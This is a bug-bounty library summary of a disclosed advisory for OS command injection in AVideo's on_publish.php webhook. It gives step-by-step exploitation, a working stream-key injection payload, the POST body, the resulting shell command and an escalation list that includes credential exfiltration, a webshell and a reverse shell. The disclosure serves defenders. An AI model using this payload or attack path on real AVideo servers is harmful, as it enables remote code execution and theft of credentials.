# AVideo: OS command injection in on_publish.php execAsync via unescaped m3u8 URL

AVideo's on_publish.php concatenates the m3u8 URL into an execAsync shell command with literal single quotes instead of escapeshellarg, letting a canStream user inject commands via their stream key.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-05-15
- CVE: CVE-2026-45578
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xw67-cg5f-4m2r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xw67-cg5f-4m2r
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:command-injection vuln:rce

**Target:** plugin/Live/on_publish.php webhook endpoint (nginx-rtmp on_publish handler)
**Root cause:** The YPTSocket branch builds a shell command by string concatenation, wrapping $users_id, $m3u8 and liveTransmitionHistory_id in literal single quotes instead of escapeshellarg(); an embedded ' closes the quoted token and resumes shell interpretation.
**Steps:**
1. Obtain a canStream account and persist a stream key containing a payload, e.g. `evilkey';id>/tmp/pwn;#`, via saveLive.php's `$_REQUEST['key']` written verbatim to live_transmitions.key.
2. POST directly to `https://target/plugin/Live/on_publish.php` with body `name=evilkey';id>/tmp/pwn;#`, `p=<md5(attacker_password)>`, `tcurl=rtmp://target/live`, `addr=1.2.3.4`; the name filter only strips `&` and `=`.
3. on_publish.php authenticates via `$_GET['p'] === $user->getPassword()`, persists a LiveTransmitionHistory row with the poisoned key, and reaches line 267.
4. `Live::getM3U8File($lth->getKey(), false, true)` returns `https://server/live/evilkey';id>/tmp/pwn;#.m3u8`, carrying the payload into `$m3u8`.
5. Line 267 builds the command string; the shell parses `'https://server/live/evilkey'` then `;id>/tmp/pwn;` then comments out the rest after `#`.
6. Line 269 `execAsync($command)` runs the injected command as the PHP-FPM/Apache user; read `/tmp/pwn`.
**How found:** Source review of the YPTSocket notification branch: noticed variables wrapped in literal single quotes rather than escapeshellarg(), while the rest of the codebase uses escapeshellarg() in 137 ffmpeg call sites; traced getM3U8File back to the DB-stored stream key to confirm attacker-controlled bytes reach the command.
**Exploitation:** With one low-privilege canStream account, the attacker poisons their stream key, then sends a single HTTP POST to the web-reachable on_publish.php webhook. The m3u8 URL built from the key is interpolated into the execAsync command line, so the shell executes the appended command as the web runtime user, enabling credential exfiltration, webshell drop, or reverse shell.
**Escalation:** From RCE as the web user: read videos/configuration.php for DB credentials, exfiltrate plugin API keys (PayPal/Stripe, AWS CDN, OpenAI), drop a webshell in the upload tree, persist via cron, or escalate via local sudoers.
**Insight:** Literal single quotes around a PHP variable in a shell command are not quoting — grep for `'$var'` patterns inside exec/system/popen strings, especially in webhook handlers that the project assumes are only reachable from localhost; trace each interpolated value back to a user-writable DB column.

## Proof of concept (copied exactly from the original report)

**HTTP POST with injected stream key payload**

```
name=evilkey';id>/tmp/pwn;#
   p=<md5(attacker_password)>
   tcurl=rtmp://target/live
   addr=1.2.3.4
```

**Shell command built with unescaped m3u8**

```
php /var/www/AVideo/plugin/Live/on_publish_socket_notification.php '7' 'https://server/live/evilkey';id>/tmp/pwn;#.m3u8' '42'
```

**Offline shell tokenisation reproduction**

```
$ s="php /a/b.php '7' 'https://s/live/evilkey';id>/tmp/pwn;#.m3u8' '42'"
$ rm -f /tmp/pwn; bash -c "$s" 2>/dev/null; ls -l /tmp/pwn
-rw-r--r-- 1 user user N <date> /tmp/pwn
```

